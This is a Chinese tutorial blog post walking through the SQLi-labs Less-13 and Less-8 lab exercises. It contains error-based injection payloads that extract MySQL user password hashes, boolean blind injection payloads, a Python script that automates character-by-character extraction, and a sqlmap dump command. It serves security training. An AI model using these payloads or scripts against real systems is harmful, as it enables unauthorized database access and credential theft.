SQLi LABS Less-13 报错注入+布尔盲注

 「作者简介」:冬奥会网络安全中国代表队,优快云 Top100,就职奇安信多年,以实战工作为基础著作 《网络安全自学教程》,适合基础薄弱的同学系统化的学习网络安全,用最短的时间掌握最核心的技术。

第十三关是单引号+括号的字符型注入,推荐使用报错注入、布尔盲注。

一、功能分析

输入用户名和密码,后台查询数据库,查询到则登录成功,查询不到则登录失败。

二、思路分析

参数中添加单引号会报错,可以考虑使用报错注入。

因为不知道真实的用户名和密码,可以使用万能账号尝试登录。

登录成功时,会提示成功(写死的图片);登录失败时,会提示失败(写死的图片),可以考虑布尔盲注。

没有显示位,不适合联合注入。

三、解题步骤

方式一:报错注入

第一步、判断注入点

用户名输入:a'

密码随便输入:1

页面显示数据库的报错信息,从报错信息中判断出,注入点为:单引号+括号的字符型注入。

第二步、判断报错条件

用户名输入:a') and updatexml(1,0x7e,3) -- a

密码随便输入:1

页面显示了报错函数指定的内容,确定报错函数可用。

第三步、脱库

获取数据库管理员的密码,用户名输入以下payload,密码随便输入:

a') and updatexml(1,
	concat(0x7e,(
        select group_concat(user,password) 
        from mysql.user where user = 'mituan'
    ))
,3) -- a

 获取成功:

 其余脱库操作,将圈中的部分替换为SQL语句即可:

常见的脱库语句有:

# 获取所有数据库
select group_concat(schema_name)
from information_schema.schemata
 
# 获取 security 库的所有表
select group_concat(table_name)
from information_schema.tables
where table_schema="security"
 
# 获取 users 表的所有字段
select group_concat(column_name)
from information_schema.columns
where table_schema="security" and table_name="users"

方式二:布尔盲注

推荐文章:布尔盲注使用详解,原理+步骤+实战教程

第一步、判断注入点类型

用户名输入:a') or 1 -- a

密码随便输入:1,页面正常显示(登录成功)

用户名输入:a') or 0 -- a

密码随便输入:1,页面异常显示(登录失败)

 第二步、判断长度

判断当前使用数据库名字的长度是否大于1,用户名输入:

a') or length(
	(database())
)>1 -- a

页面正常显示,表示payload可用。

从1开始递增测试的长度,可判断出具体的长度,稍后使用脚本自动化猜解。

第三步、枚举字符

截取当前使用数据库名字的第一个字符,为了方便脚本的编写,这里将字符转换为ASCLL再判断。

判断第一个字符的ASCLL码是否大于1,用户名输入:

a') or ascii(
    substr(
        (database())
    ,1,1)
)>1 -- a

字符的ASCLL码肯定大于1,页面正常显示,表示payload可用。

接下来使用穷举法,枚举该字符的所有可能性(对应的ASCLL码为:32~126)。

猜中第一个字符以后,再用此方法枚举其余字符,为了提高效率,稍后使用脚本自动化枚举。

脱库

Python自动化猜解脚本如下,可按需修改:

import requests

# 网站路径
url = "http://00b5c770b91b4b7aae704c39602fc0f9.app.mituan.zone/Less-13/"
# 判断长度的payload
payload_len = """a') or length(
	(database())
) ={n} -- a"""
# 枚举字符的payload
payload_str = """a') or ascii(
    substr(
        (database())
    ,{l},1)
) ={n} -- a"""

# post请求参数
data= {
    "uname" : "a') or 1 -- a",
    "passwd" : "1",
    "submit" : "Submit"
}

# 判断长度
def getLen(payload_len):
    length = 1
    while True:
        # 修改请求参数
        data["uname"] = payload_len.format(n = length)
        response = requests.post(url=url, data=data)
        # 出现此内容为登录成功
        if '../images/flag.jpg' in response.text:
            print('测试成功,长度为:', length)
            return length;
        else:
            print('正在测试长度:', length)
            length += 1


# 枚举字符
def getStr(length):
    str = ''
    # 从第一个字符开始截取
    for l in range(1, length+1):
        # 枚举字符的每一种可能性
        for n in range(32, 126):
            data["uname"] = payload_str.format(l=l, n=n)
            response = requests.post(url=url, data=data)
            if '../images/flag.jpg' in response.text:
                str += chr(n)
                print('第', l, '个字符枚举成功:',str )
                break

length = getLen(payload_len)
getStr(length)

执行结果如下:

其他脱库操作时,将下面圈起来的地方替换成SQL语句即可:

 

### 关于sqli-labs Less-8 布尔盲注攻击方法 布尔盲注是一种通过观察应用响应来推断数据库内容的方法。当直接返回查询结果不可行时,这种技术尤为有用。 对于Sqli-labs中的Less-8实验场景,其特点在于仅显示一条记录,并且不会因为错误的SQL语句而改变页面布局或报错提示。因此,利用布尔条件判断可以逐步获取隐藏的信息[^1]。 #### 攻击流程分析 为了验证是否存在布尔注入漏洞,可以通过修改URL参数`id`后的值来进行测试: ```plaintext http://192.168.1.218/sqli-labs-master/Less-8/?id=1' AND 1=1 -- ``` 如果上述链接能够正常加载并显示出数据,则说明存在潜在的安全隐患;反之则表示该处可能进行了防护措施。接着尝试不同的逻辑表达式组合,比如: ```plaintext http://192.168.1.218/sqli-labs-master/Less-8/?id=1' AND 1=0 -- ``` 此时应该看不到任何输出或者得到空白页,这表明服务器端确实执行了我们的输入作为SQL的一部分[^2]。 #### 自动化工具辅助检测 考虑到手动逐位猜测效率低下,在实际操作过程中通常会借助自动化脚本完成整个过程。例如使用sqlmap这款开源渗透测试软件,它支持多种类型的SQL注入方式,包括但不限于时间延迟、联合查询以及当前讨论的布尔型注入等。 命令如下所示: ```bash sqlmap -u "192.168.1.218/sqli-labs-master/Less-8/?id=1" --technique B --dbms=mysql -D security -T users -C username,password --dump ``` 此指令指定了目标网址、采用的技术手段(B代表布尔)、指定的目标数据库管理系统类型为MySQL,并进一步明确了要访问的具体表名和字段名称,最后加上`--dump`选项用于导出所选列的数据。 #### 手工构建payload实例 除了依赖现成工具外,掌握手工编写有效载荷的能力同样重要。下面给出几个简单的例子供学习参考: - 判断版本号长度是否大于等于某个数值: ```sql id=1' AND LENGTH(@@version)>=5 # ``` - 获取特定位置上的字符: ```sql id=1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),1,1))>97# ``` 这些技巧可以帮助理解如何绕过某些防御机制实现信息泄露的目的。不过需要注意的是,所有活动都应在授权范围内进行,非法入侵他人信息系统属于违法行为。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

士别三日wyx

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值